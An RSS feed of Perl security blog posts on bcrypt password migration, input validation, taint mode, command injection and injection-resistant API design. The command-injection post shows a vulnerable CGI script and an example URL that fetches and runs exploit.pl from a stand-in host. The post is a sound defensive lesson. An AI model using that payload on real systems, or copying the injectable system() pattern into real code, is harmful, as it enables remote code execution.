<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Perlblogs &#187; security</title>
	<atom:link href="http://perlblogs.com/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://perlblogs.com</link>
	<description>Posts from selected Perl bloggers</description>
	<lastBuildDate>Fri, 18 May 2012 19:03:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Upgrading User Password Hashes in Place</title>
		<link>http://www.modernperlbooks.com/mt/2012/02/upgrading-user-password-hashes-in-place.html</link>
		<comments>http://www.modernperlbooks.com/mt/2012/02/upgrading-user-password-hashes-in-place.html#comments</comments>
		<pubDate>Mon, 20 Feb 2012 21:17:39 +0000</pubDate>
		<dc:creator>chromatic</dc:creator>
				<category><![CDATA[hacks]]></category>
		<category><![CDATA[modernperl]]></category>
		<category><![CDATA[perl5]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://perlblogs.com/?guid=9949481428f2e7ef5e558acc892268fc</guid>
		<description><![CDATA[If you allow users to log in to your system, you need to hash their passwords with a cryptographically secure mechanism. That means not MD5 or basic Unix crypt(3) (though credit goes to OpenBSD for allowing the use of Blowfish...]]></description>
			<content:encoded><![CDATA[
        <p>If you allow users to log in to your system, you need to <a
href="http://unixwiz.net/techtips/iguide-crypto-hashes.html">hash their
passwords</a> with a cryptographically secure mechanism. That means not MD5 or
basic Unix <a
href="http://www.openbsd.org/cgi-bin/man.cgi?query=crypt&sektion=3&apropos=0">crypt(3)</a>
(though credit goes to OpenBSD for allowing the use of Blowfish with their
<code>crypt(3)</code>.</p>

<p>It's obvious why hashing passwords is necessary: storing passwords in plain
text offers an attack vector by which you can inadvertently expose private user
data to the wild world. Even if an attacker somehow gets access to hashed
passwords, extracting the plain text password (or its cryptographic equivalent)
from the hash is an expensive operation.</p>

<p>Yet the quality of the hash matters. Faster computers can perform brute
force attacks against simpler hashing functions. DES and RSA aren't sufficient.
MD5 is not sufficient. Even SHA-1&mdash;which worked really well until a couple
of years ago&mdash;isn't sufficient. The modern consensus seems to prefer the
Blowfish algorithm as sufficiently secure.</p>

<p>Yet I had deployed code which used SHA-1 to hash sensitive user
information.</p>

<p>Upgrading passwords in place is reasonably simple, though. (Here's the part
where posting code about a security issue has the potential to expose a really
silly bug, in which case thank you for helping me fix my code.)</p>

<p>I have a user model built with <a href="http://search.cpan.org/perldoc?DBIx::Class">DBIx::Class</a>. Its <code>check_password()</code> function (slightly misnamed, but misnamed to integrate with other components) verifies that the given plaintext password hashes to the stored hash value. If so&mdash;and if the user has the <code>is_active</code> flag set to a true value&mdash;the login can continue. Otherwise, the login fails.</p>

<p>I'd previously extracted the hashing function into a single module which
exports a <code>hash()</code> function. This turned out to be a wise approach;
it's one and only one place in the code where I can change the underlying
hashing mechanism.</p>

<p>That abstraction meant that switching new users to use Blowfish could happen
automatically. Upgrading existing users took a little more work:</p>

<pre><code>sub check_password
{
    my ($self, $attempt) = @_;
    my $password         = $self-&gt;password;

    # upgrade existing passwords to Bcrypt passwords
    if (old_hash($attempt) eq $password)
    {
        # crypt with blowfish
        $password = hash($attempt);
        $self-&gt;update({ password =&gt; $password });

        return $self-&gt;is_active;
    }

    return unless hash($attempt, $password) eq $password;
    return $self-&gt;is_active;
}</code></pre>

<p>When a user attempts to log in, first compare with the old hashing
mechanism. If <em>that</em> matches, update the user's password in the database
with the new hashing mechanism. Otherwise, use the new hashing mechanism.</p>

<p>This code could be even easier; <a
href="http://search.cpan.org/perldoc?Crypt::Eksblowfish::Bcrypt">Crypt::Eksblowfish::Bcrypt</a>
returns a hashed password encoded in Base-64 with a special string prepended
which contains the password hashing settings. Those magic characters never
appear in the encoding mechanism I used for SHA-1 passwords, so only encoded
passwords which start with that sequence can use the new hash. Everything else
should attempt to match against the old hash.</p>

<p>One drawback of this technique is that it makes what would normally be a
read-only operation (compare passwords) perform a write (update passwords), but
this is a temporary workaround. When all of the users have logged in (and had
their passwords update transparently), I can remove this workaround. Detecting
that is easy: check the first few characters of each password for the special
prefix.</p>

<p>This technique isn't particularly original or difficult, but it's worked
very well for me so far. Better yet, my users haven't noticed at all. They get
more security for free with no work on their part. That's a good tradeoff.</p>
        
    ]]></content:encoded>
			<wfw:commentRss>http://perlblogs.com/2012/02/20/upgrading-user-password-hashes-in-place/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Don&#8217;t TSA That Data!</title>
		<link>http://www.modernperlbooks.com/mt/2011/12/dont-tsa-that-data.html</link>
		<comments>http://www.modernperlbooks.com/mt/2011/12/dont-tsa-that-data.html#comments</comments>
		<pubDate>Thu, 22 Dec 2011 23:04:42 +0000</pubDate>
		<dc:creator>chromatic</dc:creator>
				<category><![CDATA[Parrot]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[softwaredesign]]></category>
		<category><![CDATA[unicode]]></category>

		<guid isPermaLink="false">http://perlblogs.com/?guid=b3b3110d724b2ebc33fa38957fa38c0d</guid>
		<description><![CDATA[A Vanity Fair article asks Does Airport Security Really Make Us Safer?. Fortunately, the writer of the article used Bruce Schneier as a source. (If you've been to an airport in the US, you know that the answer is &#34;No;...]]></description>
			<content:encoded><![CDATA[
        <p>A Vanity Fair article asks <a
href="http://www.vanityfair.com/culture/features/2011/12/tsa-insanity-201112">Does
Airport Security Really Make Us Safer?</a>. Fortunately, the writer of the
article used <a href="http://www.schneier.com/">Bruce Schneier</a> as a source.
(If you've been to an airport in the US, you know that the answer is "No; why
would you even <em>ask</em>?")</p>

<p>The article's penultimate paragraph makes what should be an obvious point. (At least, it's obvious if you want to prevent terrorism as much as possible. If your goal is to spend lots of taxpayer money in a very flashy, showy way without worrying about efficacy, please continue.) In particular:</p>

<blockquote>What the government should be doing is focusing on the terrorists
when they are planning their plots. "That's how the British caught the liquid
bombers," Schneier says. "They never got anywhere near the plane. That's what
you want--not catching them at the last minute as they try to board the
flight."</blockquote>

<p>I read this article moments after sending an email commiserating about the
silly (lack of) Unicode handling in a programming language which isn't Perl.
Then something clicked.</p>

<p>One of my persistent desires for <a href="http://parrotcode.org/">Parrot</a>
was to simplify the internals by <em>reducing</em> the amount of complexity and
genericity in the core. In terms of Unicode, this means knowing the encoding of
incoming data and the desired encoding of outgoing data, then
<em>transcoding</em> to and from a single internal encoding. This way the core
could operate on a single encoding and push the complexity of transcoding to
the edges.</p>

<p>If Parrot hasn't changed this since I looked at it most recently, its string
system requires each string to carry information about its encoding (which
makes each string structure that much larger, increasing memory pressure) and
each string operation to check for the need to transcode strings to mutually
compatible encodings (which takes time for the comparison in every case, as
well as time and memory for the transcoding in other cases).</p>

<p>Worse yet, string literals encoded in the source code of Parrot itself tend
to have a specific encoding (ASCII or at least Latin-1 in the case of literals
in the C code) and they ought to be constant, so transcoding in place isn't an
option and, if you're working primarily with another encoding, that means
<em>always</em> performing transcoding from that incompatible encoding.</p>

<p>It's not <em>free</em> to perform encoding at the edges, and you sometimes
notice this when working with large chunks of data (though if you're processing
multi-terabyte satellite images, treat them as binary and skip this encoding
altogether), but it's the right thing to do.</p>

<p>The same principle applies for <em>trusting</em> incoming data. Secure it at
the borders of the application. Don't spread those checks throughout the
system. Harden the edges and don't let nonsense through. Fail early for
suspicious things.</p>

<p>Otherwise you'll go mad trying to track down all of the possible
interactions and possibilities of maliciousnesses that people could perpetuate
if you lack a sane sanity policy. In other words, stop doing a lot of busy work
to make it look like you know what you're doing. Do it right.</p>

        
    ]]></content:encoded>
			<wfw:commentRss>http://perlblogs.com/2011/12/23/dont-tsa-that-data/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Yet another taint mode reminder</title>
		<link>http://www.dagolden.com/index.php/1560/yet-another-taint-mode-reminder-to-use-taint-mode-if-you-care-about-security/</link>
		<comments>http://www.dagolden.com/index.php/1560/yet-another-taint-mode-reminder-to-use-taint-mode-if-you-care-about-security/#comments</comments>
		<pubDate>Tue, 04 Oct 2011 16:56:20 +0000</pubDate>
		<dc:creator>dagolden</dc:creator>
				<category><![CDATA[ironman]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[perl programming]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.dagolden.com/?p=1560</guid>
		<description><![CDATA[Schwern just posted "How (not) To Load a Module..." that goes into great depth about the security risk in loading modules. The (not) funny thing is that none of what he's saying is a risk would be one when running in taint mode. Consider "/tmp/foo.pm" with this: Then consider this example of how Module::Load does [...]]]></description>
			<content:encoded><![CDATA[<p>Schwern just posted <a href="http://blogs.perl.org/users/michael_g_schwern/2011/10/how-not-to-load-a-module-or-bad-interfaces-make-good-people-do-bad-things.html">"How (not) To Load a Module..."</a> that goes into great depth about the security risk in loading modules.</p>
<p>The (not) funny thing is that none of what he's saying is a risk would be one when running in taint mode.</p>
<p>Consider "/tmp/foo.pm" with this:</p>
<pre class="brush: perl; title: ; notranslate">
package foo;
print &quot;Loaded foo\n&quot;;
1;
</pre>
<p>Then consider this example of how Module::Load does something "unexpected":</p>
<pre class="brush: plain; title: ; notranslate">
$ perl -MModule::Load=load -wE 'my $file=shift; load $file' ::tmp::foo
Loaded foo
</pre>
<p>(The "threat" is that given an arbitrary module name to load, it will gladly load outside <code>@INC</code>.)</p>
<p>What if that was run under taint mode, instead?</p>
<pre class="brush: plain; title: ; notranslate">
$ perl -MModule::Load=load -wTE 'my $file=shift; load $file' ::tmp::foo
Insecure dependency in require while running with -T switch at /home/david/perl5/perlbrew/perls/perl-5.14.0/lib/5.14.0/Module/Load.pm line 27.
Insecure dependency in require while running with -T switch at /home/david/perl5/perlbrew/perls/perl-5.14.0/lib/5.14.0/Module/Load.pm line 27.
</pre>
<p>I'm not sure why that message is printed twice, but that was still a fatal error and foo.pm didn't load.</p>
<p>The moral of the story: <strong>if you incorporate arbitrary user input into your execution path, use taint mode and validate the input to make sure it's something safe.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dagolden.com/index.php/1560/yet-another-taint-mode-reminder-to-use-taint-mode-if-you-care-about-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Unnecessary and Insecure Interpolation</title>
		<link>http://www.modernperlbooks.com/mt/2010/11/unnecessary-and-insecure-interpolation.html</link>
		<comments>http://www.modernperlbooks.com/mt/2010/11/unnecessary-and-insecure-interpolation.html#comments</comments>
		<pubDate>Mon, 22 Nov 2010 20:09:17 +0000</pubDate>
		<dc:creator>chromatic</dc:creator>
				<category><![CDATA[modernperl]]></category>
		<category><![CDATA[perl5]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[A couple of days after writing the Petty Tyranny of Good Habits, I stumbled across an example. I still don't quite understand what the Pinata Buster code does, but I found a security hole two seconds into reading the code....]]></description>
			<content:encoded><![CDATA[
        <p>A couple of days after writing <a
href="http://www.modernperlbooks.com/mt/2010/11/the-petty-tyranny-of-good-habits.html">the
Petty Tyranny of Good Habits</a>, I stumbled across an example.  I still don't
quite understand what the <a
href="http://cam.ly/blog/2010/10/how-the-pinata-buster-works/">Pinata Buster
code</a> <em>does</em>, but I found a security hole two seconds into reading
the code.  (I notified them and they updated their program quickly, so I'm
avoiding the full disclosure debate debacle.)</p>

<p>The original code looked something like:</p>

<pre><code>#!/usr/bin/perl -w

my @values = split(/&amp;/,$ENV{'QUERY_STRING'});
foreach my $i (@values) {
    ($varname, $mydata) = split(/=/,$i);
}

<strong>system( "echo '$mydata' &gt;&gt; /home/rhett/usernick" );</strong>
system('/home/rhett/music_player.rb &amp;');
system('/home/rhett/servos/phidgets-examples/AdvancedServo-simple &amp;');</code></pre>

<p>The emboldened line shows the problem.  (Yes, splitting the query string on
<code>&amp;</code> is horribly buggy on its own, but that's not a security
flaw in and of itself.)</p>

<p>This isn't quite a <a href="http://bobby-tables.com/">Bobby Tables</a>
moment, in that the potential for mischief can affect anything the user account
under which this program runs, and not just a SQL database.</p>

<p>(If you don't see the security problem, think about what would happen if
someone invoked this program with the URL
<code>http://example.com/buggy.cgi?exploit='; wget
http://evil.example.com/exploit.pl &amp;&amp; $^X exploit.pl; echo "all is
fine"</code>, properly URL-encoded of course.)</p>

<p>This is the same <em>type</em> of problem which makes this code:</p>

<pre><code># DO NOT USE
open my $fh, "$some_file_name" or die "Security breach didn't work: $!";</code></pre>

<p>... much less secure than the modern version:</p>

<pre><code># SAFE TO USE
open my $fh, '<', $some_file_name or die "Cannot read from input file: $!";</code></pre>

<p>This is not a problem you can (entirely) alleviate by vetting the content of
the string; it's difficult to craft a regex or a series of transformations to
remove every possible combination of characters which may cause unintended
behavior.  You <em>should</em> continue to vet the sanity of the contents of
these strings to <em>help</em> with security and safety, but the most reliable
way to avoid unintentional interpolation problems with untrusted user input is
to avoid interpolation altogether, whether with the three-arg form of
<code>open</code> or with the list form of <code>system</code>.</p>

<p>Note that even though the example program has replaced the offending <code>system</code> with direct file access using two-arg <code>open</code>, it does not interpolate untrusted user input in an unsafe fashion.  It's still clunky code, but it's safer.</p>

<p>Again, the unsafe forms of <code>open</code> and <code>system</code> are merely warning signs.  (This pattern of program isn't inherently bad.  I have a very useful shell script written in Perl 5 which uses a similar pattern of string manipulation and <code>system</code> calls because string manipulation in bash is painful.)  The problem is interpolation of untrusted user input in places where untrusted characters may produce unintended behavior.</p>

<p>Then again, the safe forms of <code>open</code> and <code>system</code> exist to avoid that problem altogether.</p>

        
    ]]></content:encoded>
			<wfw:commentRss>http://perlblogs.com/2010/11/22/unnecessary-and-insecure-interpolation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Strings and Security and Designing Away Bugs</title>
		<link>http://www.modernperlbooks.com/mt/2010/07/strings-and-security-and-designing-away-bugs.html</link>
		<comments>http://www.modernperlbooks.com/mt/2010/07/strings-and-security-and-designing-away-bugs.html#comments</comments>
		<pubDate>Wed, 14 Jul 2010 16:23:45 +0000</pubDate>
		<dc:creator>chromatic</dc:creator>
				<category><![CDATA[apis]]></category>
		<category><![CDATA[languagedesign]]></category>
		<category><![CDATA[modernperl]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[perlprogramming]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Some people believe that security problems and other severe bugs are inevitable. Some of these people believe that conscientious design and clear thinking about how languages and APIs work is irrelevant; bad code is possible in every language. Bad code...]]></description>
			<content:encoded><![CDATA[
        <p>Some people believe that security problems and other severe bugs are inevitable.  Some of these people believe that conscientious design and clear thinking about how languages and APIs work is irrelevant; bad code is possible in every language.</p>

<p>Bad code <em>is</em> possible in any language and wrong code is possible with any API.  Even so, it's possible to create languages and APIs which make the right thing so much easier than the wrong thing that only the most incompetent (or dangerously malicious) write bad code.</p>

<p>Imagine, for example, a database access layer which forbids the use of raw strings to create SQL queries.  You might have to write:</p>

<pre><code>my $sth = $dbh->select( @tables )->join( %relations )->where( %conditions );</code></pre>

<p>That's not necessarily a <em>beautiful</em> interface dashed off after a moment of thinking, but it has an important security property: it avoids the interpolation of untrusted user input.  All data sent to the database may go through a quoting or untainting process without the user having to remember to do so.</p>

<p>A similar library could help avoid malicious user input from interfering
with the display or operation of a web site, for example.  These are both
specific cases of a general principle: <a
href="http://www.modernperlbooks.com/mt/2010/07/dont-parse-that-string.html">replace
unstructured string data with structured data</a>.  In both cases, the
structure of the data makes the intent of the data clear, which allows the
library to ensure as much safety as possible.</p>

<p>This principle has other implications as well; more on that next time.</p>

        
    ]]></content:encoded>
			<wfw:commentRss>http://perlblogs.com/2010/07/14/strings-and-security-and-designing-away-bugs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

